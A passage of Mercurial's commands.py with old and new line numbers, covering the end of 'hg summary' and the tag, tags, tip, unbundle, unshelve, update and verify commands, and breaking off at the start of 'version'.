7043 7039 # shows a working directory parent *changeset*:
7044 7040 # i18n: column positioning for "hg summary"
7045 7041 ui.write(
7046 7042 _(b'parent: %d:%s ') % (p.rev(), p),
7047 7043 label=logcmdutil.changesetlabels(p),
7048 7044 )
7049 7045 ui.write(b' '.join(p.tags()), label=b'log.tag')
7050 7046 if p.bookmarks():
7051 7047 marks.extend(p.bookmarks())
7052 7048 if p.rev() == -1:
7053 7049 if not len(repo):
7054 7050 ui.write(_(b' (empty repository)'))
7055 7051 else:
7056 7052 ui.write(_(b' (no revision checked out)'))
7057 7053 if p.obsolete():
7058 7054 ui.write(_(b' (obsolete)'))
7059 7055 if p.isunstable():
7060 7056 instabilities = (
7061 7057 ui.label(instability, b'trouble.%s' % instability)
7062 7058 for instability in p.instabilities()
7063 7059 )
7064 7060 ui.write(b' (' + b', '.join(instabilities) + b')')
7065 7061 ui.write(b'\n')
7066 7062 if p.description():
7067 7063 ui.status(
7068 7064 b' ' + p.description().splitlines()[0].strip() + b'\n',
7069 7065 label=b'log.summary',
7070 7066 )
7071 7067
7072 7068 branch = ctx.branch()
7073 7069 bheads = repo.branchheads(branch)
7074 7070 # i18n: column positioning for "hg summary"
7075 7071 m = _(b'branch: %s\n') % branch
7076 7072 if branch != b'default':
7077 7073 ui.write(m, label=b'log.branch')
7078 7074 else:
7079 7075 ui.status(m, label=b'log.branch')
7080 7076
7081 7077 if marks:
7082 7078 active = repo._activebookmark
7083 7079 # i18n: column positioning for "hg summary"
7084 7080 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7085 7081 if active is not None:
7086 7082 if active in marks:
7087 7083 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7088 7084 marks.remove(active)
7089 7085 else:
7090 7086 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7091 7087 for m in marks:
7092 7088 ui.write(b' ' + m, label=b'log.bookmark')
7093 7089 ui.write(b'\n', label=b'log.bookmark')
7094 7090
7095 7091 status = repo.status(unknown=True)
7096 7092
7097 7093 c = repo.dirstate.copies()
7098 7094 copied, renamed = [], []
7099 7095 for d, s in pycompat.iteritems(c):
7100 7096 if s in status.removed:
7101 7097 status.removed.remove(s)
7102 7098 renamed.append(d)
7103 7099 else:
7104 7100 copied.append(d)
7105 7101 if d in status.added:
7106 7102 status.added.remove(d)
7107 7103
7108 7104 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7109 7105
7110 7106 labels = [
7111 7107 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7112 7108 (ui.label(_(b'%d added'), b'status.added'), status.added),
7113 7109 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7114 7110 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7115 7111 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7116 7112 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7117 7113 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7118 7114 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7119 7115 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7120 7116 ]
7121 7117 t = []
7122 7118 for l, s in labels:
7123 7119 if s:
7124 7120 t.append(l % len(s))
7125 7121
7126 7122 t = b', '.join(t)
7127 7123 cleanworkdir = False
7128 7124
7129 7125 if repo.vfs.exists(b'graftstate'):
7130 7126 t += _(b' (graft in progress)')
7131 7127 if repo.vfs.exists(b'updatestate'):
7132 7128 t += _(b' (interrupted update)')
7133 7129 elif len(parents) > 1:
7134 7130 t += _(b' (merge)')
7135 7131 elif branch != parents[0].branch():
7136 7132 t += _(b' (new branch)')
7137 7133 elif parents[0].closesbranch() and pnode in repo.branchheads(
7138 7134 branch, closed=True
7139 7135 ):
7140 7136 t += _(b' (head closed)')
7141 7137 elif not (
7142 7138 status.modified
7143 7139 or status.added
7144 7140 or status.removed
7145 7141 or renamed
7146 7142 or copied
7147 7143 or subs
7148 7144 ):
7149 7145 t += _(b' (clean)')
7150 7146 cleanworkdir = True
7151 7147 elif pnode not in bheads:
7152 7148 t += _(b' (new branch head)')
7153 7149
7154 7150 if parents:
7155 7151 pendingphase = max(p.phase() for p in parents)
7156 7152 else:
7157 7153 pendingphase = phases.public
7158 7154
7159 7155 if pendingphase > phases.newcommitphase(ui):
7160 7156 t += b' (%s)' % phases.phasenames[pendingphase]
7161 7157
7162 7158 if cleanworkdir:
7163 7159 # i18n: column positioning for "hg summary"
7164 7160 ui.status(_(b'commit: %s\n') % t.strip())
7165 7161 else:
7166 7162 # i18n: column positioning for "hg summary"
7167 7163 ui.write(_(b'commit: %s\n') % t.strip())
7168 7164
7169 7165 # all ancestors of branch heads - all ancestors of parent = new csets
7170 7166 new = len(
7171 7167 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7172 7168 )
7173 7169
7174 7170 if new == 0:
7175 7171 # i18n: column positioning for "hg summary"
7176 7172 ui.status(_(b'update: (current)\n'))
7177 7173 elif pnode not in bheads:
7178 7174 # i18n: column positioning for "hg summary"
7179 7175 ui.write(_(b'update: %d new changesets (update)\n') % new)
7180 7176 else:
7181 7177 # i18n: column positioning for "hg summary"
7182 7178 ui.write(
7183 7179 _(b'update: %d new changesets, %d branch heads (merge)\n')
7184 7180 % (new, len(bheads))
7185 7181 )
7186 7182
7187 7183 t = []
7188 7184 draft = len(repo.revs(b'draft()'))
7189 7185 if draft:
7190 7186 t.append(_(b'%d draft') % draft)
7191 7187 secret = len(repo.revs(b'secret()'))
7192 7188 if secret:
7193 7189 t.append(_(b'%d secret') % secret)
7194 7190
7195 7191 if draft or secret:
7196 7192 ui.status(_(b'phases: %s\n') % b', '.join(t))
7197 7193
7198 7194 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7199 7195 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7200 7196 numtrouble = len(repo.revs(trouble + b"()"))
7201 7197 # We write all the possibilities to ease translation
7202 7198 troublemsg = {
7203 7199 b"orphan": _(b"orphan: %d changesets"),
7204 7200 b"contentdivergent": _(b"content-divergent: %d changesets"),
7205 7201 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7206 7202 }
7207 7203 if numtrouble > 0:
7208 7204 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7209 7205
7210 7206 cmdutil.summaryhooks(ui, repo)
7211 7207
7212 7208 if opts.get(b'remote'):
7213 7209 needsincoming, needsoutgoing = True, True
7214 7210 else:
7215 7211 needsincoming, needsoutgoing = False, False
7216 7212 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7217 7213 if i:
7218 7214 needsincoming = True
7219 7215 if o:
7220 7216 needsoutgoing = True
7221 7217 if not needsincoming and not needsoutgoing:
7222 7218 return
7223 7219
7224 7220 def getincoming():
7225 7221 source, branches = urlutil.parseurl(ui.expandpath(b'default'))
7226 7222 sbranch = branches[0]
7227 7223 try:
7228 7224 other = hg.peer(repo, {}, source)
7229 7225 except error.RepoError:
7230 7226 if opts.get(b'remote'):
7231 7227 raise
7232 7228 return source, sbranch, None, None, None
7233 7229 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7234 7230 if revs:
7235 7231 revs = [other.lookup(rev) for rev in revs]
7236 7232 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7237 7233 repo.ui.pushbuffer()
7238 7234 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7239 7235 repo.ui.popbuffer()
7240 7236 return source, sbranch, other, commoninc, commoninc[1]
7241 7237
7242 7238 if needsincoming:
7243 7239 source, sbranch, sother, commoninc, incoming = getincoming()
7244 7240 else:
7245 7241 source = sbranch = sother = commoninc = incoming = None
7246 7242
7247 7243 def getoutgoing():
7248 7244 dest, branches = urlutil.parseurl(
7249 7245 ui.expandpath(b'default-push', b'default')
7250 7246 )
7251 7247 dbranch = branches[0]
7252 7248 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
7253 7249 if source != dest:
7254 7250 try:
7255 7251 dother = hg.peer(repo, {}, dest)
7256 7252 except error.RepoError:
7257 7253 if opts.get(b'remote'):
7258 7254 raise
7259 7255 return dest, dbranch, None, None
7260 7256 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7261 7257 elif sother is None:
7262 7258 # there is no explicit destination peer, but source one is invalid
7263 7259 return dest, dbranch, None, None
7264 7260 else:
7265 7261 dother = sother
7266 7262 if source != dest or (sbranch is not None and sbranch != dbranch):
7267 7263 common = None
7268 7264 else:
7269 7265 common = commoninc
7270 7266 if revs:
7271 7267 revs = [repo.lookup(rev) for rev in revs]
7272 7268 repo.ui.pushbuffer()
7273 7269 outgoing = discovery.findcommonoutgoing(
7274 7270 repo, dother, onlyheads=revs, commoninc=common
7275 7271 )
7276 7272 repo.ui.popbuffer()
7277 7273 return dest, dbranch, dother, outgoing
7278 7274
7279 7275 if needsoutgoing:
7280 7276 dest, dbranch, dother, outgoing = getoutgoing()
7281 7277 else:
7282 7278 dest = dbranch = dother = outgoing = None
7283 7279
7284 7280 if opts.get(b'remote'):
7285 7281 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7286 7282 # The former always sets `sother` (or raises an exception if it can't);
7287 7283 # the latter always sets `outgoing`.
7288 7284 assert sother is not None
7289 7285 assert outgoing is not None
7290 7286
7291 7287 t = []
7292 7288 if incoming:
7293 7289 t.append(_(b'1 or more incoming'))
7294 7290 o = outgoing.missing
7295 7291 if o:
7296 7292 t.append(_(b'%d outgoing') % len(o))
7297 7293 other = dother or sother
7298 7294 if b'bookmarks' in other.listkeys(b'namespaces'):
7299 7295 counts = bookmarks.summary(repo, other)
7300 7296 if counts[0] > 0:
7301 7297 t.append(_(b'%d incoming bookmarks') % counts[0])
7302 7298 if counts[1] > 0:
7303 7299 t.append(_(b'%d outgoing bookmarks') % counts[1])
7304 7300
7305 7301 if t:
7306 7302 # i18n: column positioning for "hg summary"
7307 7303 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7308 7304 else:
7309 7305 # i18n: column positioning for "hg summary"
7310 7306 ui.status(_(b'remote: (synced)\n'))
7311 7307
7312 7308 cmdutil.summaryremotehooks(
7313 7309 ui,
7314 7310 repo,
7315 7311 opts,
7316 7312 (
7317 7313 (source, sbranch, sother, commoninc),
7318 7314 (dest, dbranch, dother, outgoing),
7319 7315 ),
7320 7316 )
7321 7317
7322 7318
7323 7319 @command(
7324 7320 b'tag',
7325 7321 [
7326 7322 (b'f', b'force', None, _(b'force tag')),
7327 7323 (b'l', b'local', None, _(b'make the tag local')),
7328 7324 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7329 7325 (b'', b'remove', None, _(b'remove a tag')),
7330 7326 # -l/--local is already there, commitopts cannot be used
7331 7327 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7332 7328 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7333 7329 ]
7334 7330 + commitopts2,
7335 7331 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7336 7332 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7337 7333 )
7338 7334 def tag(ui, repo, name1, *names, **opts):
7339 7335 """add one or more tags for the current or given revision
7340 7336
7341 7337 Name a particular revision using <name>.
7342 7338
7343 7339 Tags are used to name particular revisions of the repository and are
7344 7340 very useful to compare different revisions, to go back to significant
7345 7341 earlier versions or to mark branch points as releases, etc. Changing
7346 7342 an existing tag is normally disallowed; use -f/--force to override.
7347 7343
7348 7344 If no revision is given, the parent of the working directory is
7349 7345 used.
7350 7346
7351 7347 To facilitate version control, distribution, and merging of tags,
7352 7348 they are stored as a file named ".hgtags" which is managed similarly
7353 7349 to other project files and can be hand-edited if necessary. This
7354 7350 also means that tagging creates a new commit. The file
7355 7351 ".hg/localtags" is used for local tags (not shared among
7356 7352 repositories).
7357 7353
7358 7354 Tag commits are usually made at the head of a branch. If the parent
7359 7355 of the working directory is not a branch head, :hg:`tag` aborts; use
7360 7356 -f/--force to force the tag commit to be based on a non-head
7361 7357 changeset.
7362 7358
7363 7359 See :hg:`help dates` for a list of formats valid for -d/--date.
7364 7360
7365 7361 Since tag names have priority over branch names during revision
7366 7362 lookup, using an existing branch name as a tag name is discouraged.
7367 7363
7368 7364 Returns 0 on success.
7369 7365 """
7370 7366 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7371 7367 opts = pycompat.byteskwargs(opts)
7372 7368 with repo.wlock(), repo.lock():
7373 7369 rev_ = b"."
7374 7370 names = [t.strip() for t in (name1,) + names]
7375 7371 if len(names) != len(set(names)):
7376 7372 raise error.InputError(_(b'tag names must be unique'))
7377 7373 for n in names:
7378 7374 scmutil.checknewlabel(repo, n, b'tag')
7379 7375 if not n:
7380 7376 raise error.InputError(
7381 7377 _(b'tag names cannot consist entirely of whitespace')
7382 7378 )
7383 7379 if opts.get(b'rev'):
7384 7380 rev_ = opts[b'rev']
7385 7381 message = opts.get(b'message')
7386 7382 if opts.get(b'remove'):
7387 7383 if opts.get(b'local'):
7388 7384 expectedtype = b'local'
7389 7385 else:
7390 7386 expectedtype = b'global'
7391 7387
7392 7388 for n in names:
7393 7389 if repo.tagtype(n) == b'global':
7394 7390 alltags = tagsmod.findglobaltags(ui, repo)
7395 7391 if alltags[n][0] == nullid:
7396 7392 raise error.InputError(
7397 7393 _(b"tag '%s' is already removed") % n
7398 7394 )
7399 7395 if not repo.tagtype(n):
7400 7396 raise error.InputError(_(b"tag '%s' does not exist") % n)
7401 7397 if repo.tagtype(n) != expectedtype:
7402 7398 if expectedtype == b'global':
7403 7399 raise error.InputError(
7404 7400 _(b"tag '%s' is not a global tag") % n
7405 7401 )
7406 7402 else:
7407 7403 raise error.InputError(
7408 7404 _(b"tag '%s' is not a local tag") % n
7409 7405 )
7410 7406 rev_ = b'null'
7411 7407 if not message:
7412 7408 # we don't translate commit messages
7413 7409 message = b'Removed tag %s' % b', '.join(names)
7414 7410 elif not opts.get(b'force'):
7415 7411 for n in names:
7416 7412 if n in repo.tags():
7417 7413 raise error.InputError(
7418 7414 _(b"tag '%s' already exists (use -f to force)") % n
7419 7415 )
7420 7416 if not opts.get(b'local'):
7421 7417 p1, p2 = repo.dirstate.parents()
7422 7418 if p2 != nullid:
7423 7419 raise error.StateError(_(b'uncommitted merge'))
7424 7420 bheads = repo.branchheads()
7425 7421 if not opts.get(b'force') and bheads and p1 not in bheads:
7426 7422 raise error.InputError(
7427 7423 _(
7428 7424 b'working directory is not at a branch head '
7429 7425 b'(use -f to force)'
7430 7426 )
7431 7427 )
7432 7428 node = scmutil.revsingle(repo, rev_).node()
7433 7429
7434 7430 if not message:
7435 7431 # we don't translate commit messages
7436 7432 message = b'Added tag %s for changeset %s' % (
7437 7433 b', '.join(names),
7438 7434 short(node),
7439 7435 )
7440 7436
7441 7437 date = opts.get(b'date')
7442 7438 if date:
7443 7439 date = dateutil.parsedate(date)
7444 7440
7445 7441 if opts.get(b'remove'):
7446 7442 editform = b'tag.remove'
7447 7443 else:
7448 7444 editform = b'tag.add'
7449 7445 editor = cmdutil.getcommiteditor(
7450 7446 editform=editform, **pycompat.strkwargs(opts)
7451 7447 )
7452 7448
7453 7449 # don't allow tagging the null rev
7454 7450 if (
7455 7451 not opts.get(b'remove')
7456 7452 and scmutil.revsingle(repo, rev_).rev() == nullrev
7457 7453 ):
7458 7454 raise error.InputError(_(b"cannot tag null revision"))
7459 7455
7460 7456 tagsmod.tag(
7461 7457 repo,
7462 7458 names,
7463 7459 node,
7464 7460 message,
7465 7461 opts.get(b'local'),
7466 7462 opts.get(b'user'),
7467 7463 date,
7468 7464 editor=editor,
7469 7465 )
7470 7466
7471 7467
7472 7468 @command(
7473 7469 b'tags',
7474 7470 formatteropts,
7475 7471 b'',
7476 7472 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7477 7473 intents={INTENT_READONLY},
7478 7474 )
7479 7475 def tags(ui, repo, **opts):
7480 7476 """list repository tags
7481 7477
7482 7478 This lists both regular and local tags. When the -v/--verbose
7483 7479 switch is used, a third column "local" is printed for local tags.
7484 7480 When the -q/--quiet switch is used, only the tag name is printed.
7485 7481
7486 7482 .. container:: verbose
7487 7483
7488 7484 Template:
7489 7485
7490 7486 The following keywords are supported in addition to the common template
7491 7487 keywords and functions such as ``{tag}``. See also
7492 7488 :hg:`help templates`.
7493 7489
7494 7490 :type: String. ``local`` for local tags.
7495 7491
7496 7492 Returns 0 on success.
7497 7493 """
7498 7494
7499 7495 opts = pycompat.byteskwargs(opts)
7500 7496 ui.pager(b'tags')
7501 7497 fm = ui.formatter(b'tags', opts)
7502 7498 hexfunc = fm.hexfunc
7503 7499
7504 7500 for t, n in reversed(repo.tagslist()):
7505 7501 hn = hexfunc(n)
7506 7502 label = b'tags.normal'
7507 7503 tagtype = repo.tagtype(t)
7508 7504 if not tagtype or tagtype == b'global':
7509 7505 tagtype = b''
7510 7506 else:
7511 7507 label = b'tags.' + tagtype
7512 7508
7513 7509 fm.startitem()
7514 7510 fm.context(repo=repo)
7515 7511 fm.write(b'tag', b'%s', t, label=label)
7516 7512 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7517 7513 fm.condwrite(
7518 7514 not ui.quiet,
7519 7515 b'rev node',
7520 7516 fmt,
7521 7517 repo.changelog.rev(n),
7522 7518 hn,
7523 7519 label=label,
7524 7520 )
7525 7521 fm.condwrite(
7526 7522 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7527 7523 )
7528 7524 fm.plain(b'\n')
7529 7525 fm.end()
7530 7526
7531 7527
7532 7528 @command(
7533 7529 b'tip',
7534 7530 [
7535 7531 (b'p', b'patch', None, _(b'show patch')),
7536 7532 (b'g', b'git', None, _(b'use git extended diff format')),
7537 7533 ]
7538 7534 + templateopts,
7539 7535 _(b'[-p] [-g]'),
7540 7536 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7541 7537 )
7542 7538 def tip(ui, repo, **opts):
7543 7539 """show the tip revision (DEPRECATED)
7544 7540
7545 7541 The tip revision (usually just called the tip) is the changeset
7546 7542 most recently added to the repository (and therefore the most
7547 7543 recently changed head).
7548 7544
7549 7545 If you have just made a commit, that commit will be the tip. If
7550 7546 you have just pulled changes from another repository, the tip of
7551 7547 that repository becomes the current tip. The "tip" tag is special
7552 7548 and cannot be renamed or assigned to a different changeset.
7553 7549
7554 7550 This command is deprecated, please use :hg:`heads` instead.
7555 7551
7556 7552 Returns 0 on success.
7557 7553 """
7558 7554 opts = pycompat.byteskwargs(opts)
7559 7555 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7560 7556 displayer.show(repo[b'tip'])
7561 7557 displayer.close()
7562 7558
7563 7559
7564 7560 @command(
7565 7561 b'unbundle',
7566 7562 [
7567 7563 (
7568 7564 b'u',
7569 7565 b'update',
7570 7566 None,
7571 7567 _(b'update to new branch head if changesets were unbundled'),
7572 7568 )
7573 7569 ],
7574 7570 _(b'[-u] FILE...'),
7575 7571 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7576 7572 )
7577 7573 def unbundle(ui, repo, fname1, *fnames, **opts):
7578 7574 """apply one or more bundle files
7579 7575
7580 7576 Apply one or more bundle files generated by :hg:`bundle`.
7581 7577
7582 7578 Returns 0 on success, 1 if an update has unresolved files.
7583 7579 """
7584 7580 fnames = (fname1,) + fnames
7585 7581
7586 7582 with repo.lock():
7587 7583 for fname in fnames:
7588 7584 f = hg.openpath(ui, fname)
7589 7585 gen = exchange.readbundle(ui, f, fname)
7590 7586 if isinstance(gen, streamclone.streamcloneapplier):
7591 7587 raise error.InputError(
7592 7588 _(
7593 7589 b'packed bundles cannot be applied with '
7594 7590 b'"hg unbundle"'
7595 7591 ),
7596 7592 hint=_(b'use "hg debugapplystreamclonebundle"'),
7597 7593 )
7598 7594 url = b'bundle:' + fname
7599 7595 try:
7600 7596 txnname = b'unbundle'
7601 7597 if not isinstance(gen, bundle2.unbundle20):
7602 7598 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7603 7599 with repo.transaction(txnname) as tr:
7604 7600 op = bundle2.applybundle(
7605 7601 repo, gen, tr, source=b'unbundle', url=url
7606 7602 )
7607 7603 except error.BundleUnknownFeatureError as exc:
7608 7604 raise error.Abort(
7609 7605 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7610 7606 hint=_(
7611 7607 b"see https://mercurial-scm.org/"
7612 7608 b"wiki/BundleFeature for more "
7613 7609 b"information"
7614 7610 ),
7615 7611 )
7616 7612 modheads = bundle2.combinechangegroupresults(op)
7617 7613
7618 7614 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7619 7615 return 1
7620 7616 else:
7621 7617 return 0
7622 7618
7623 7619
7624 7620 @command(
7625 7621 b'unshelve',
7626 7622 [
7627 7623 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7628 7624 (
7629 7625 b'c',
7630 7626 b'continue',
7631 7627 None,
7632 7628 _(b'continue an incomplete unshelve operation'),
7633 7629 ),
7634 7630 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7635 7631 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7636 7632 (
7637 7633 b'n',
7638 7634 b'name',
7639 7635 b'',
7640 7636 _(b'restore shelved change with given name'),
7641 7637 _(b'NAME'),
7642 7638 ),
7643 7639 (b't', b'tool', b'', _(b'specify merge tool')),
7644 7640 (
7645 7641 b'',
7646 7642 b'date',
7647 7643 b'',
7648 7644 _(b'set date for temporary commits (DEPRECATED)'),
7649 7645 _(b'DATE'),
7650 7646 ),
7651 7647 ],
7652 7648 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7653 7649 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7654 7650 )
7655 7651 def unshelve(ui, repo, *shelved, **opts):
7656 7652 """restore a shelved change to the working directory
7657 7653
7658 7654 This command accepts an optional name of a shelved change to
7659 7655 restore. If none is given, the most recent shelved change is used.
7660 7656
7661 7657 If a shelved change is applied successfully, the bundle that
7662 7658 contains the shelved changes is moved to a backup location
7663 7659 (.hg/shelve-backup).
7664 7660
7665 7661 Since you can restore a shelved change on top of an arbitrary
7666 7662 commit, it is possible that unshelving will result in a conflict
7667 7663 between your changes and the commits you are unshelving onto. If
7668 7664 this occurs, you must resolve the conflict, then use
7669 7665 ``--continue`` to complete the unshelve operation. (The bundle
7670 7666 will not be moved until you successfully complete the unshelve.)
7671 7667
7672 7668 (Alternatively, you can use ``--abort`` to abandon an unshelve
7673 7669 that causes a conflict. This reverts the unshelved changes, and
7674 7670 leaves the bundle in place.)
7675 7671
7676 7672 If bare shelved change (without interactive, include and exclude
7677 7673 option) was done on newly created branch it would restore branch
7678 7674 information to the working directory.
7679 7675
7680 7676 After a successful unshelve, the shelved changes are stored in a
7681 7677 backup directory. Only the N most recent backups are kept. N
7682 7678 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7683 7679 configuration option.
7684 7680
7685 7681 .. container:: verbose
7686 7682
7687 7683 Timestamp in seconds is used to decide order of backups. More
7688 7684 than ``maxbackups`` backups are kept, if same timestamp
7689 7685 prevents from deciding exact order of them, for safety.
7690 7686
7691 7687 Selected changes can be unshelved with ``--interactive`` flag.
7692 7688 The working directory is updated with the selected changes, and
7693 7689 only the unselected changes remain shelved.
7694 7690 Note: The whole shelve is applied to working directory first before
7695 7691 running interactively. So, this will bring up all the conflicts between
7696 7692 working directory and the shelve, irrespective of which changes will be
7697 7693 unshelved.
7698 7694 """
7699 7695 with repo.wlock():
7700 7696 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7701 7697
7702 7698
7703 7699 statemod.addunfinished(
7704 7700 b'unshelve',
7705 7701 fname=b'shelvedstate',
7706 7702 continueflag=True,
7707 7703 abortfunc=shelvemod.hgabortunshelve,
7708 7704 continuefunc=shelvemod.hgcontinueunshelve,
7709 7705 cmdmsg=_(b'unshelve already in progress'),
7710 7706 )
7711 7707
7712 7708
7713 7709 @command(
7714 7710 b'update|up|checkout|co',
7715 7711 [
7716 7712 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7717 7713 (b'c', b'check', None, _(b'require clean working directory')),
7718 7714 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7719 7715 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7720 7716 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7721 7717 ]
7722 7718 + mergetoolopts,
7723 7719 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7724 7720 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7725 7721 helpbasic=True,
7726 7722 )
7727 7723 def update(ui, repo, node=None, **opts):
7728 7724 """update working directory (or switch revisions)
7729 7725
7730 7726 Update the repository's working directory to the specified
7731 7727 changeset. If no changeset is specified, update to the tip of the
7732 7728 current named branch and move the active bookmark (see :hg:`help
7733 7729 bookmarks`).
7734 7730
7735 7731 Update sets the working directory's parent revision to the specified
7736 7732 changeset (see :hg:`help parents`).
7737 7733
7738 7734 If the changeset is not a descendant or ancestor of the working
7739 7735 directory's parent and there are uncommitted changes, the update is
7740 7736 aborted. With the -c/--check option, the working directory is checked
7741 7737 for uncommitted changes; if none are found, the working directory is
7742 7738 updated to the specified changeset.
7743 7739
7744 7740 .. container:: verbose
7745 7741
7746 7742 The -C/--clean, -c/--check, and -m/--merge options control what
7747 7743 happens if the working directory contains uncommitted changes.
7748 7744 At most of one of them can be specified.
7749 7745
7750 7746 1. If no option is specified, and if
7751 7747 the requested changeset is an ancestor or descendant of
7752 7748 the working directory's parent, the uncommitted changes
7753 7749 are merged into the requested changeset and the merged
7754 7750 result is left uncommitted. If the requested changeset is
7755 7751 not an ancestor or descendant (that is, it is on another
7756 7752 branch), the update is aborted and the uncommitted changes
7757 7753 are preserved.
7758 7754
7759 7755 2. With the -m/--merge option, the update is allowed even if the
7760 7756 requested changeset is not an ancestor or descendant of
7761 7757 the working directory's parent.
7762 7758
7763 7759 3. With the -c/--check option, the update is aborted and the
7764 7760 uncommitted changes are preserved.
7765 7761
7766 7762 4. With the -C/--clean option, uncommitted changes are discarded and
7767 7763 the working directory is updated to the requested changeset.
7768 7764
7769 7765 To cancel an uncommitted merge (and lose your changes), use
7770 7766 :hg:`merge --abort`.
7771 7767
7772 7768 Use null as the changeset to remove the working directory (like
7773 7769 :hg:`clone -U`).
7774 7770
7775 7771 If you want to revert just one file to an older revision, use
7776 7772 :hg:`revert [-r REV] NAME`.
7777 7773
7778 7774 See :hg:`help dates` for a list of formats valid for -d/--date.
7779 7775
7780 7776 Returns 0 on success, 1 if there are unresolved files.
7781 7777 """
7782 7778 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7783 7779 rev = opts.get('rev')
7784 7780 date = opts.get('date')
7785 7781 clean = opts.get('clean')
7786 7782 check = opts.get('check')
7787 7783 merge = opts.get('merge')
7788 7784 if rev and node:
7789 7785 raise error.InputError(_(b"please specify just one revision"))
7790 7786
7791 7787 if ui.configbool(b'commands', b'update.requiredest'):
7792 7788 if not node and not rev and not date:
7793 7789 raise error.InputError(
7794 7790 _(b'you must specify a destination'),
7795 7791 hint=_(b'for example: hg update ".::"'),
7796 7792 )
7797 7793
7798 7794 if rev is None or rev == b'':
7799 7795 rev = node
7800 7796
7801 7797 if date and rev is not None:
7802 7798 raise error.InputError(_(b"you can't specify a revision and a date"))
7803 7799
7804 7800 updatecheck = None
7805 7801 if check:
7806 7802 updatecheck = b'abort'
7807 7803 elif merge:
7808 7804 updatecheck = b'none'
7809 7805
7810 7806 with repo.wlock():
7811 7807 cmdutil.clearunfinished(repo)
7812 7808 if date:
7813 7809 rev = cmdutil.finddate(ui, repo, date)
7814 7810
7815 7811 # if we defined a bookmark, we have to remember the original name
7816 7812 brev = rev
7817 7813 if rev:
7818 7814 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7819 7815 ctx = scmutil.revsingle(repo, rev, default=None)
7820 7816 rev = ctx.rev()
7821 7817 hidden = ctx.hidden()
7822 7818 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7823 7819 with ui.configoverride(overrides, b'update'):
7824 7820 ret = hg.updatetotally(
7825 7821 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7826 7822 )
7827 7823 if hidden:
7828 7824 ctxstr = ctx.hex()[:12]
7829 7825 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7830 7826
7831 7827 if ctx.obsolete():
7832 7828 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7833 7829 ui.warn(b"(%s)\n" % obsfatemsg)
7834 7830 return ret
7835 7831
7836 7832
7837 7833 @command(
7838 7834 b'verify',
7839 7835 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7840 7836 helpcategory=command.CATEGORY_MAINTENANCE,
7841 7837 )
7842 7838 def verify(ui, repo, **opts):
7843 7839 """verify the integrity of the repository
7844 7840
7845 7841 Verify the integrity of the current repository.
7846 7842
7847 7843 This will perform an extensive check of the repository's
7848 7844 integrity, validating the hashes and checksums of each entry in
7849 7845 the changelog, manifest, and tracked files, as well as the
7850 7846 integrity of their crosslinks and indices.
7851 7847
7852 7848 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7853 7849 for more information about recovery from corruption of the
7854 7850 repository.
7855 7851
7856 7852 Returns 0 on success, 1 if errors are encountered.
7857 7853 """
7858 7854 opts = pycompat.byteskwargs(opts)
7859 7855
7860 7856 level = None
7861 7857 if opts[b'full']:
7862 7858 level = verifymod.VERIFY_FULL
7863 7859 return hg.verify(repo, level)
7864 7860
7865 7861
7866 7862 @command(
7867 7863 b'version',
7868 7864 [] + formatteropts,
